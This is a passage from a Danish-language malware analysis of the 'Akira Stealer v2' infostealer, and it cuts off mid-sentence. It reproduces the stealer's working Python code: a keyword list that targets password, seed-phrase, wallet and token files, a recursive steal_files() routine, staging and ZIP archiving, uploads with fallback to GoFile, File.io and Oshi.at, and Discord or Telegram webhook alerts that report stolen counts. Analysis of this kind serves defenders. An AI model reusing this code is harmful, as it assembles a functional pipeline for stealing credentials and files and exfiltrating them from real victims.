filtyper",[533,9515,867],{},[533,9517,9518],{},[540,9519,9520],{},"Nøgleordslisten",[533,9522,9523],{},"Et foruddefineret sæt af delstrenge styrer udvælgelsen af filer. Kun filnavne, der indeholder mindst ét nøgleord, kommer i betragtning:",[588,9525,9527],{"className":4494,"code":9526,"language":4496,"meta":594,"style":594},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[551,9528,9529,9534,9539,9544],{"__ignoreMap":594},[1683,9530,9531],{"class":1685,"line":1686},[1683,9532,9533],{},"keywordsFiles = [\n",[1683,9535,9536],{"class":1685,"line":2062},[1683,9537,9538],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1683,9540,9541],{"class":1685,"line":2068},[1683,9542,9543],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1683,9545,9546],{"class":1685,"line":2074},[1683,9547,7920],{},[604,9549,9550,9566],{},[607,9551,9552,9555,9556,9559,9560,558,9563,586],{},[540,9553,9554],{},"Delvise match",": Nøgleord som ",[551,9557,9558],{},"passw"," opsnapper både ",[551,9561,9562],{},"passwords.txt",[551,9564,9565],{},"passw_backup.docx",[607,9567,9568,9571],{},[540,9569,9570],{},"Bred dækning",": Omfatter termer om autentificering, wallets, krypto og tokens.",[861,9573,9575],{"id":9574},"_7113-tilladte-filtyper","7.11.3 Tilladte filtyper",[533,9577,867],{},[533,9579,9580],{},"For at mindske støjen håndhæves en whitelist over filtyper:",[588,9582,9584],{"className":4494,"code":9583,"language":4496,"meta":594,"style":594},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[551,9585,9586,9591,9596,9601],{"__ignoreMap":594},[1683,9587,9588],{"class":1685,"line":1686},[1683,9589,9590],{},"allowed_extensions = [\n",[1683,9592,9593],{"class":1685,"line":2062},[1683,9594,9595],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1683,9597,9598],{"class":1685,"line":2068},[1683,9599,9600],{},"    \".jpg\", \".png\"\n",[1683,9602,9603],{"class":1685,"line":2074},[1683,9604,7920],{},[861,9606,9608],{"id":9607},"_7113-størrelsesbegrænsning","7.11.3 Størrelsesbegrænsning",[533,9610,867],{},[533,9612,9613],{},"Filer over 2 megabyte springes over for at optimere eksfiltreringshastigheden og undgå store overførsler:",[588,9615,9617],{"className":4494,"code":9616,"language":4496,"meta":594,"style":594},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[551,9618,9619,9624,9629],{"__ignoreMap":594},[1683,9620,9621],{"class":1685,"line":1686},[1683,9622,9623],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1683,9625,9626],{"class":1685,"line":2062},[1683,9627,9628],{},"if file_size_mb \u003C= 2:\n",[1683,9630,9631],{"class":1685,"line":2068},[1683,9632,9633],{},"    # eligible for copy\n",[861,9635,9637],{"id":9636},"_7114-rekursiv-scanning-og-kopieringslogik","7.11.4 Rekursiv scanning og kopieringslogik",[533,9639,867],{},[533,9641,9642],{},"Når mapperne med høj værdi er identificeret, sætter Akira en rekursiv scanningsrutine i gang, der gennemløber undermapper og finder filer, som matcher bestemte nøgleord og filtyper. Fasen er bygget til præcision og stealth: kun filer, der matcher de foruddefinerede kriterier, altså filnavne med følsomme nøgleord og godkendte filtyper, kommer i betragtning. Logikken sikrer, at kun relevant, brugergenereret indhold bliver eksfiltreret. Den ignorerer systemfiler, caches og binærfiler og begrænser den enkelte fils størrelse til 2 MB for at mindske uploadstørrelsen og risikoen for at blive opdaget. Scanningsmetoden er lydløs, effektiv og optimeret til lydløst datatyveri i virkelige miljøer. Ved at kopiere de matchende filer til en staging-mappe og føre en liste over, hvad der blev taget, klargør Akira indholdet til pakning og eksfiltrering, samtidig med at dubletter og driftsmæssig støj holdes nede.",[533,9644,9645,9646,9649],{},"Kernerutinen ",[551,9647,9648],{},"steal_files()"," arbejder sådan her:",[588,9651,9653],{"className":4494,"code":9652,"language":4496,"meta":594,"style":594},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[551,9654,9655,9659,9664,9669,9674,9678,9683,9688,9693,9698,9703,9708,9713,9718,9723,9728,9733,9738,9743,9748,9753,9758],{"__ignoreMap":594},[1683,9656,9657],{"class":1685,"line":1686},[1683,9658,4982],{},[1683,9660,9661],{"class":1685,"line":2062},[1683,9662,9663],{},"def steal_files():\n",[1683,9665,9666],{"class":1685,"line":2068},[1683,9667,9668],{},"    stolen_files = set()\n",[1683,9670,9671],{"class":1685,"line":2074},[1683,9672,9673],{},"    temp_folder = Utils.get_temp_folder()\n",[1683,9675,9676],{"class":1685,"line":2395},[1683,9677,3854],{"emptyLinePlaceholder":325},[1683,9679,9680],{"class":1685,"line":2401},[1683,9681,9682],{},"    for folder in searchFolders:\n",[1683,9684,9685],{"class":1685,"line":3060},[1683,9686,9687],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1683,9689,9690],{"class":1685,"line":3857},[1683,9691,9692],{},"        if os.path.exists(current_path):\n",[1683,9694,9695],{"class":1685,"line":3863},[1683,9696,9697],{},"            for root, _, files in os.walk(current_path):\n",[1683,9699,9700],{"class":1685,"line":4108},[1683,9701,9702],{},"                for file in files:\n",[1683,9704,9705],{"class":1685,"line":5030},[1683,9706,9707],{},"                    lower = file.lower()\n",[1683,9709,9710],{"class":1685,"line":5036},[1683,9711,9712],{},"                    # Keyword check\n",[1683,9714,9715],{"class":1685,"line":5042},[1683,9716,9717],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1683,9719,9720],{"class":1685,"line":5048},[1683,9721,9722],{},"                        ext = os.path.splitext(lower)[1]\n",[1683,9724,9725],{"class":1685,"line":5054},[1683,9726,9727],{},"                        # Extension and size check\n",[1683,9729,9730],{"class":1685,"line":5060},[1683,9731,9732],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1683,9734,9735],{"class":1685,"line":5066},[1683,9736,9737],{},"                            # Prepare destination\n",[1683,9739,9740],{"class":1685,"line":5072},[1683,9741,9742],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1683,9744,9745],{"class":1685,"line":5078},[1683,9746,9747],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1683,9749,9750],{"class":1685,"line":5084},[1683,9751,9752],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1683,9754,9755],{"class":1685,"line":5090},[1683,9756,9757],{},"                            stolen_files.add(file)\n",[1683,9759,9760],{"class":1685,"line":5096},[1683,9761,9762],{},"    data.stolen_files.extend(stolen_files)\n",[533,9764,9765],{},[540,9766,9767],{},"De vigtigste punkter:",[2082,9769,9770,9778,9787,9796,9802],{},[607,9771,9772,9777],{},[540,9773,9774],{},[551,9775,9776],{},"os.walk",": Går rekursivt ned i undermapper.",[607,9779,9780,9783,9784,586],{},[540,9781,9782],{},"Match uden hensyn til store og små bogstaver",": Filnavne normaliseres via ",[551,9785,9786],{},"lower()",[607,9788,9789,9792,9793,9795],{},[540,9790,9791],{},"Atomar kopiering",": Bruger ",[551,9794,7786],{}," for at bevare filens indhold.",[607,9797,9798,9801],{},[540,9799,9800],{},"Mængde af stjålne filnavne",": Forhindrer dubletter, når den samme fil optræder to gange.",[607,9803,9804,972,9809,9812],{},[540,9805,9806,9807],{},"Integration med ",[551,9808,9066],{},[551,9810,9811],{},"data.stolen_files"," samler listen over stjålne filer til den senere rapportering.",[861,9814,9816],{"id":9815},"_7115-arkivering-og-eksfiltrering","7.11.5 Arkivering og eksfiltrering",[533,9818,867],{},[533,9820,9821,9822,9825],{},"Efter indsamlingen zippes mappen ",[551,9823,9824],{},"Files"," og sendes afsted:",[588,9827,9829],{"className":4494,"code":9828,"language":4496,"meta":594,"style":594},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[551,9830,9831,9836,9841,9845,9850,9855],{"__ignoreMap":594},[1683,9832,9833],{"class":1685,"line":1686},[1683,9834,9835],{},"# Archive\n",[1683,9837,9838],{"class":1685,"line":2062},[1683,9839,9840],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1683,9842,9843],{"class":1685,"line":2068},[1683,9844,3854],{"emptyLinePlaceholder":325},[1683,9846,9847],{"class":1685,"line":2074},[1683,9848,9849],{},"# Upload & Notify\n",[1683,9851,9852],{"class":1685,"line":2395},[1683,9853,9854],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1683,9856,9857],{"class":1685,"line":2401},[1683,9858,9859],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[604,9861,9862,9878],{},[607,9863,9864,9869,9870,620,9872,620,9874,9877],{},[540,9865,9866],{},[551,9867,9868],{},"zip_client_file()",": Komprimerer hele temp-mappen, inklusive ",[551,9871,9824],{},[551,9873,6325],{},[551,9875,9876],{},"Passwords"," og lignende.",[607,9879,9880,9884,9885],{},[540,9881,9882],{},[551,9883,9047],{},": Poster downloadlinket via Telegram eller en Discord-webhook og lister hvert stjålet filnavn:",[588,9886,9888],{"className":4494,"code":9887,"language":4496,"meta":594,"style":594},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[551,9889,9890,9895,9900,9905,9910],{"__ignoreMap":594},[1683,9891,9892],{"class":1685,"line":1686},[1683,9893,9894],{},"fields.append({\n",[1683,9896,9897],{"class":1685,"line":2062},[1683,9898,9899],{},"\"name\": \"📂 Files\",\n",[1683,9901,9902],{"class":1685,"line":2068},[1683,9903,9904],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1683,9906,9907],{"class":1685,"line":2074},[1683,9908,9909],{},"\"inline\": False\n",[1683,9911,9912],{"class":1685,"line":2395},[1683,9913,9914],{},"})\n",[533,9916,9917],{},[540,9918,9919],{},"Konklusion:",[533,9921,9922],{},"File Grabber i Akira Stealer v2 jagter systematisk følsomme dokumenter med filtre på nøgleord og filtyper, respekterer en størrelsesgrænse på 2 MB af effektivitetshensyn og samler de stjålne elementer i et arkiv. Designet giver både bredde, flere mapper, og præcision, målrettede filtre, og det gør den til et af de mest virkningsfulde trin i malwarens livscyklus.",[714,9924,9926],{"id":9925},"_712-eksfiltreringsstrategien","7.12 Eksfiltreringsstrategien",[533,9928,720],{},[533,9930,9931],{},"Eksfiltreringsmodulet håndterer de høstede tokens og øvrige artefakter (cookies, autofyld, logfiler) ved at stage dem i en struktureret mappe, komprimere dem til et arkiv, uploade dem til flere online filværter og sende detaljerede webhook-notifikationer. Dette afsnit skiller hvert trin ad med filstier, domæne-endpoints og kodereferencer, så alt kan spores.",[861,9933,9935],{"id":9934},"_7121-mappestruktur-og-filnavne","7.12.1 Mappestruktur og filnavne",[533,9937,867],{},[533,9939,9940],{},"Akira organiserer alle indsamlede artefakter i en ren og hierarkisk struktur af midlertidige mapper. Designet gør pakningen effektiv og gør det let for angriberen at gennemgå udbyttet efter eksfiltreringen. Hver datakategori, for eksempel Tokens, Cookies, Passwords eller Screenshots, ligger i sin egen undermappe under en rodsti, der er navngivet efter offerets computer, for eksempel DESKTOP1234. Det strukturerede layout giver klarhed, mindsker dubletter og gør arkiverings- og uploadprocessen mere strømlinet. Det gør også automatisk parsing eller manuel inspektion langt lettere på angriberens side.",[588,9942,9945],{"className":9943,"code":9944,"language":593},[591],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[551,9946,9944],{"__ignoreMap":594},[861,9948,9950],{"id":9949},"_7122-staging-af-tokens-og-artefakter","7.12.2 Staging af tokens og artefakter",[533,9952,867],{},[533,9954,9955],{},"Før eksfiltreringen stager Akira alle relevante artefakter i de tilsvarende undermapper. Tokenværdier skrives for eksempel til individuelle .txt-filer, så de hurtigt kan gennemses og valideres. Cookies, autofyld-poster og adgangskoder skrives på samme måde til strukturerede tekstfiler, navngivet efter browser. Trinnet standardiserer datalayoutet og gør det muligt for automatiserede værktøjer at holde styr på, hvad der blev høstet. Det sikrer også, at zip-arkivet senere har et forudsigeligt og angribervenligt format, uanset hvilke moduler der blev udløst.",[588,9957,9959],{"className":4494,"code":9958,"language":4496,"meta":594,"style":594},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[551,9960,9961,9966,9971,9976,9981,9986,9991,9996,10001,10006],{"__ignoreMap":594},[1683,9962,9963],{"class":1685,"line":1686},[1683,9964,9965],{},"import os, shutil\n",[1683,9967,9968],{"class":1685,"line":2062},[1683,9969,9970],{},"# Constants\n",[1683,9972,9973],{"class":1685,"line":2068},[1683,9974,9975],{},"TMP = os.getenv('TEMP')\n",[1683,9977,9978],{"class":1685,"line":2074},[1683,9979,9980],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1683,9982,9983],{"class":1685,"line":2395},[1683,9984,9985],{},"# Prepare structure\n",[1683,9987,9988],{"class":1685,"line":2401},[1683,9989,9990],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1683,9992,9993],{"class":1685,"line":3060},[1683,9994,9995],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1683,9997,9998],{"class":1685,"line":3857},[1683,9999,10000],{},"# Save token\n",[1683,10002,10003],{"class":1685,"line":3863},[1683,10004,10005],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1683,10007,10008],{"class":1685,"line":4108},[1683,10009,10010],{},"    f.write(token)\n",[604,10012,10013,10016],{},[607,10014,10015],{},"Tokens gemmes i separate små tekstfiler, så de hurtigt kan inspiceres.",[607,10017,10018,10019,10022,10023,586],{},"Cookiedumps fra ",[551,10020,10021],{},"Chromium.GetCookies()"," skrives til ",[551,10024,10025],{},"{Browser}_Cookies.txt",[861,10027,10029],{"id":10028},"_7133-oprettelse-af-zip-arkivet","7.13.3 Oprettelse af ZIP-arkivet",[533,10031,867],{},[533,10033,10034,10035],{},"Når stagingen er gennemført, komprimerer Akira hele mappen til et enkelt ZIP-arkiv. Arkivets filnavn følger en fast navnekonvention: ",[10036,10037,10038,10039],"computer-name",{},"_",[10040,10041,10042],"timestamp",{},".zip, med værtsmaskinens navn og et UTC-tidsstempel i ISO 8601-format. Det sikrer både entydighed og kronologisk sporbarhed. Fordi hele staging-mappen gennemløbes rekursivt, bevares hver fil i sin relative struktur inde i ZIP-arkivet. Formatet gør det enklere for angribere at hente og gennemgå store mængder på én gang, især hvis hundredvis af offre kompromitteres parallelt.",[588,10044,10046],{"className":4494,"code":10045,"language":4496,"meta":594,"style":594},"import zipfile, datetime\n\ndef create_archive(root_dir: str) -> str:\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n        for dirpath, _, files in os.walk(root_dir):\n            for fname in files:\n                full = os.path.join(dirpath, fname)\n                rel = os.path.relpath(full, root_dir)\n                zf.write(full, rel)\n    return zip_path\n",[551,10047,10048,10053,10057,10062,10067,10072,10077,10082,10087,10092,10097,10102,10107],{"__ignoreMap":594},[1683,10049,10050],{"class":1685,"line":1686},[1683,10051,10052],{},"import zipfile, datetime\n",[1683,10054,10055],{"class":1685,"line":2062},[1683,10056,3854],{"emptyLinePlaceholder":325},[1683,10058,10059],{"class":1685,"line":2068},[1683,10060,10061],{},"def create_archive(root_dir: str) -> str:\n",[1683,10063,10064],{"class":1685,"line":2074},[1683,10065,10066],{},"    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n",[1683,10068,10069],{"class":1685,"line":2395},[1683,10070,10071],{},"    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n",[1683,10073,10074],{"class":1685,"line":2401},[1683,10075,10076],{},"    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n",[1683,10078,10079],{"class":1685,"line":3060},[1683,10080,10081],{},"    with zipfile.ZipFile(zip_path, 'w', zipfile.ZIP_DEFLATED) as zf:\n",[1683,10083,10084],{"class":1685,"line":3857},[1683,10085,10086],{},"        for dirpath, _, files in os.walk(root_dir):\n",[1683,10088,10089],{"class":1685,"line":3863},[1683,10090,10091],{},"            for fname in files:\n",[1683,10093,10094],{"class":1685,"line":4108},[1683,10095,10096],{},"                full = os.path.join(dirpath, fname)\n",[1683,10098,10099],{"class":1685,"line":5030},[1683,10100,10101],{},"                rel = os.path.relpath(full, root_dir)\n",[1683,10103,10104],{"class":1685,"line":5036},[1683,10105,10106],{},"                zf.write(full, rel)\n",[1683,10108,10109],{"class":1685,"line":5042},[1683,10110,10111],{},"    return zip_path\n",[604,10113,10114],{},[607,10115,10116,10117,10120],{},"Arkivet navngives ",[551,10118,10119],{},"DESKTOP1234_20250505T123456Z.zip",", så det hænger sammen med værten.",[533,10122,10123],{},[540,10124,10125],{},"Navnekonventionen for ZIP-filen",[533,10127,10128],{},"Arkivet navngives med computernavnet på den kompromitterede vært efterfulgt af et UTC-tidsstempel i ISO-format, hvilket sikrer entydighed og kronologisk orden.",[588,10130,10132],{"className":4494,"code":10131,"language":4496,"meta":594,"style":594},"import datetime, os\n\ndef create_archive(root_dir: str) -> str:\n    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n    ts = datetime.datetime.utcnow().strftime('%Y%m%dT%H%M%SZ')\n    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n    zip_name = os.path.basename(root_dir) + f'_{ts}.zip'\n    zip_path = os.path.join(os.path.dirname(root_dir), zip_name)\n    return zip_path\n",[551,10133,10134,10139,10143,10147,10152,10156,10161,10165,10169],{"__ignoreMap":594},[1683,10135,10136],{"class":1685,"line":1686},[1683,10137,10138],{},"import datetime, os\n",[1683,10140,10141],{"class":1685,"line":2062},[1683,10142,3854],{"emptyLinePlaceholder":325},[1683,10144,10145],{"class":1685,"line":2068},[1683,10146,10061],{},[1683,10148,10149],{"class":1685,"line":2074},[1683,10150,10151],{},"    # Generate UTC timestamp in YYYYMMDDThhmmssZ format\n",[1683,10153,10154],{"class":1685,"line":2395},[1683,10155,10066],{},[1683,10157,10158],{"class":1685,"line":2401},[1683,10159,10160],{},"    # Construct ZIP filename: \u003CComputerName>_\u003CTimestamp>.zip\n",[1683,10162,10163],{"class":1685,"line":3060},[1683,10164,10071],{},[1683,10166,10167],{"class":1685,"line":3857},[1683,10168,10076],{},[1683,10170,10171],{"class":1685,"line":3863},[1683,10172,10111],{},[533,10174,10128],{},[861,10176,10178],{"id":10177},"_7144-uploadforløbet","7.14.4 Uploadforløbet",[533,10180,867],{},[533,10182,10183],{},"Akira bruger en uploadstrategi i tre niveauer for at maksimere chancen for en gennemført dataeksfiltrering. Den forsøger først at uploade arkivet til GoFile.io via deres offentlige API, som returnerer et downloadlink. Er GoFile utilgængelig eller blokeret, falder den tilbage på File.io og derefter Oshi.at, så dataene altid bliver overført. Tjenesterne tilbyder anonym, kortlivet hosting, og det gør både nedtagning og sporbarhed svær. Scriptet opsnapper den endelige download-URL og gør den klar til levering via webhook.",[2082,10185,10186,10218,10244],{},[607,10187,10188,10191],{},[540,10189,10190],{},"Primært: GoFile.io",[604,10192,10193,10201,10209],{},[607,10194,10195,972,10198],{},[540,10196,10197],{},"API til at hente servere",[551,10199,10200],{},"GET https://api.gofile.io/servers",[607,10202,10203,972,10206],{},[540,10204,10205],{},"Upload-endpoint",[551,10207,10208],{},"POST https://\u003Cserver>.gofile.io/contents/uploadfile",[607,10210,10211,972,10214,10217],{},[540,10212,10213],{},"Svarfeltet",[551,10215,10216],{},"data.downloadPage"," indeholder den endelige URL.",[607,10219,10220,10223],{},[540,10221,10222],{},"Fallback nr. 1: File.io",[604,10224,10225,10235],{},[607,10226,10227,972,10229,1256,10232],{},[540,10228,10205],{},[551,10230,10231],{},"POST https://file.io/",[551,10233,10234],{},"files={'file': open(...)}",[607,10236,10237,10240,10241,586],{},[540,10238,10239],{},"Svar",": JSON-feltet ",[551,10242,10243],{},"link",[607,10245,10246,10249],{},[540,10247,10248],{},"Fallback nr. 2: Oshi.at",[604,10250,10251,10265],{},[607,10252,10253,972,10255,1256,10258,10261,10262,586],{},[540,10254,10205],{},[551,10256,10257],{},"POST http://oshi.at/",[551,10259,10260],{},"files[]"," og parametrene ",[551,10263,10264],{},"expire=43200, autodestroy=0",[607,10266,10267,10269,10270,586],{},[540,10268,10239],{},": Klartekst, der indeholder ",[551,10271,10272],{},"DL: \u003Curl>",[533,10274,10275],{},[540,10276,10277],{},"Kodeudsnit fra implementeringen:",[588,10279,10281],{"className":4494,"code":10280,"language":4496,"meta":594,"style":594},"import requests\n\ndef upload_with_fallback(zip_path):\n    # GoFile\n    try:\n        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n        for srv in servers:\n            try:\n                r = requests.post(\n                    f'https://{srv}.gofile.io/contents/uploadfile',\n                    files={'file': open(zip_path,'rb')}, timeout=20)\n                url = r.json()['data']['downloadPage']\n                if url: return url\n            except: continue\n    except: pass\n    # File.io\n    try:\n        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n        return r.json().get('link','')\n    except: pass\n    # Oshi.at\n    try:\n        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n        return text.split('DL: ')[1].strip()\n    except: pass\n    return ''\n",[551,10282,10283,10288,10292,10297,10302,10306,10311,10316,10321,10326,10331,10336,10341,10346,10351,10356,10361,10365,10370,10375,10379,10384,10388,10393,10398,10402],{"__ignoreMap":594},[1683,10284,10285],{"class":1685,"line":1686},[1683,10286,10287],{},"import requests\n",[1683,10289,10290],{"class":1685,"line":2062},[1683,10291,3854],{"emptyLinePlaceholder":325},[1683,10293,10294],{"class":1685,"line":2068},[1683,10295,10296],{},"def upload_with_fallback(zip_path):\n",[1683,10298,10299],{"class":1685,"line":2074},[1683,10300,10301],{},"    # GoFile\n",[1683,10303,10304],{"class":1685,"line":2395},[1683,10305,5145],{},[1683,10307,10308],{"class":1685,"line":2401},[1683,10309,10310],{},"        servers = requests.get('https://api.gofile.io/servers', timeout=10).json()['data']['servers']\n",[1683,10312,10313],{"class":1685,"line":3060},[1683,10314,10315],{},"        for srv in servers:\n",[1683,10317,10318],{"class":1685,"line":3857},[1683,10319,10320],{},"            try:\n",[1683,10322,10323],{"class":1685,"line":3863},[1683,10324,10325],{},"                r = requests.post(\n",[1683,10327,10328],{"class":1685,"line":4108},[1683,10329,10330],{},"                    f'https://{srv}.gofile.io/contents/uploadfile',\n",[1683,10332,10333],{"class":1685,"line":5030},[1683,10334,10335],{},"                    files={'file': open(zip_path,'rb')}, timeout=20)\n",[1683,10337,10338],{"class":1685,"line":5036},[1683,10339,10340],{},"                url = r.json()['data']['downloadPage']\n",[1683,10342,10343],{"class":1685,"line":5042},[1683,10344,10345],{},"                if url: return url\n",[1683,10347,10348],{"class":1685,"line":5048},[1683,10349,10350],{},"            except: continue\n",[1683,10352,10353],{"class":1685,"line":5054},[1683,10354,10355],{},"    except: pass\n",[1683,10357,10358],{"class":1685,"line":5060},[1683,10359,10360],{},"    # File.io\n",[1683,10362,10363],{"class":1685,"line":5066},[1683,10364,5145],{},[1683,10366,10367],{"class":1685,"line":5072},[1683,10368,10369],{},"        r = requests.post('https://file.io/', files={'file': open(zip_path,'rb')}, timeout=20)\n",[1683,10371,10372],{"class":1685,"line":5078},[1683,10373,10374],{},"        return r.json().get('link','')\n",[1683,10376,10377],{"class":1685,"line":5084},[1683,10378,10355],{},[1683,10380,10381],{"class":1685,"line":5090},[1683,10382,10383],{},"    # Oshi.at\n",[1683,10385,10386],{"class":1685,"line":5096},[1683,10387,5145],{},[1683,10389,10390],{"class":1685,"line":5102},[1683,10391,10392],{},"        text = requests.post('http://oshi.at/', files={'files[]': open(zip_path,'rb')}, data={'expire':'43200'}).text\n",[1683,10394,10395],{"class":1685,"line":5108},[1683,10396,10397],{},"        return text.split('DL: ')[1].strip()\n",[1683,10399,10400],{"class":1685,"line":5114},[1683,10401,10355],{},[1683,10403,10404],{"class":1685,"line":5781},[1683,10405,10406],{},"    return ''\n",[861,10408,10410],{"id":10409},"_7155-webhook-alarmer-angriberens-hentning-og-grænserne-for-analytikerens-indsigt","7.15.5 Webhook-alarmer, angriberens hentning og grænserne for analytikerens indsigt",[533,10412,867],{},[533,10414,10415],{},"Efter uploaden af ZIP-arkivet sender Akira en webhook-notifikation, typisk til Discord eller Telegram, med en struktureret embed, der indeholder detaljerede oplysninger: antallet af stjålne tokens, antallet af cookies, filstørrelsen og et klikbart downloadlink. Det giver angribere øjeblikkelig tilbagemelding og adgang til at hente udbyttet. For at sikre pålideligheden sendes desuden en fallback-besked i klartekst, der kun indeholder arkivlinket. Redundansen garanterer levering, også hvis platformen blokerer eller frafiltrerer embeddet. Set fra forsvarerens side er denne kommunikation ofte usynlig, medmindre der er overvågning af udgående netværkstrafik på plads.",[533,10417,10418],{},[540,10419,10420],{},"Notifikationen med embed",[588,10422,10424],{"className":4494,"code":10423,"language":4496,"meta":594,"style":594},"# Build embed with key metadata\ntoken_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\nfields = [\n    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n]\npayload = {\n    'username':'Akira 💊',\n    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n}\nrequests.post(webhook_url, json=payload, timeout=8)\n",[551,10425,10426,10431,10436,10441,10446,10451,10456,10461,10466,10470,10475,10480,10485,10489],{"__ignoreMap":594},[1683,10427,10428],{"class":1685,"line":1686},[1683,10429,10430],{},"# Build embed with key metadata\n",[1683,10432,10433],{"class":1685,"line":2062},[1683,10434,10435],{},"token_count = len(os.listdir(os.path.join(ROOT, 'Tokens')))\n",[1683,10437,10438],{"class":1685,"line":2068},[1683,10439,10440],{},"fields = [\n",[1683,10442,10443],{"class":1685,"line":2074},[1683,10444,10445],{},"    {'name':'🗂️ Archive','value':f'[Download Archive]({download_url})','inline':False},\n",[1683,10447,10448],{"class":1685,"line":2395},[1683,10449,10450],{},"    {'name':'📐 Size','value':f'{os.path.getsize(zip_path)//1024} KB','inline':True},\n",[1683,10452,10453],{"class":1685,"line":2401},[1683,10454,10455],{},"    {'name':'🔑 Tokens','value':str(token_count),'inline':True},\n",[1683,10457,10458],{"class":1685,"line":3060},[1683,10459,10460],{},"    {'name':'🍪 Cookies','value':str(data.cookie_count),'inline':True},\n",[1683,10462,10463],{"class":1685,"line":3857},[1683,10464,10465],{},"    {'name':'🔐 Passwords','value':str(data.password_count),'inline':True},\n",[1683,10467,10468],{"class":1685,"line":3863},[1683,10469,7920],{},[1683,10471,10472],{"class":1685,"line":4108},[1683,10473,10474],{},"payload = {\n",[1683,10476,10477],{"class":1685,"line":5030},[1683,10478,10479],{},"    'username':'Akira 💊',\n",[1683,10481,10482],{"class":1685,"line":5036},[1683,10483,10484],{},"    'embeds':[{'title':'🗄️ Exfiltration Complete','fields':fields}]\n",[1683,10486,10487],{"class":1685,"line":5042},[1683,10488,2404],{},[1683,10490,10491],{"class":1685,"line":5048},[1683,10492,10493],{},"requests.post(webhook_url, json=payload, timeout=8)\n",[604,10495,10496,10502],{},[607,10497,10498,10501],{},[540,10499,10500],{},"Levering",": Sendes til angriberens Discord- eller Telegram-kanal.",[607,10503,10504,10507,10508,10511],{},[540,10505,10506],{},"Linket i embeddet",": Indeholder en klikbar ",[551,10509,10510],{},"download_url",", der peger på ZIP-filen på GoFile eller en 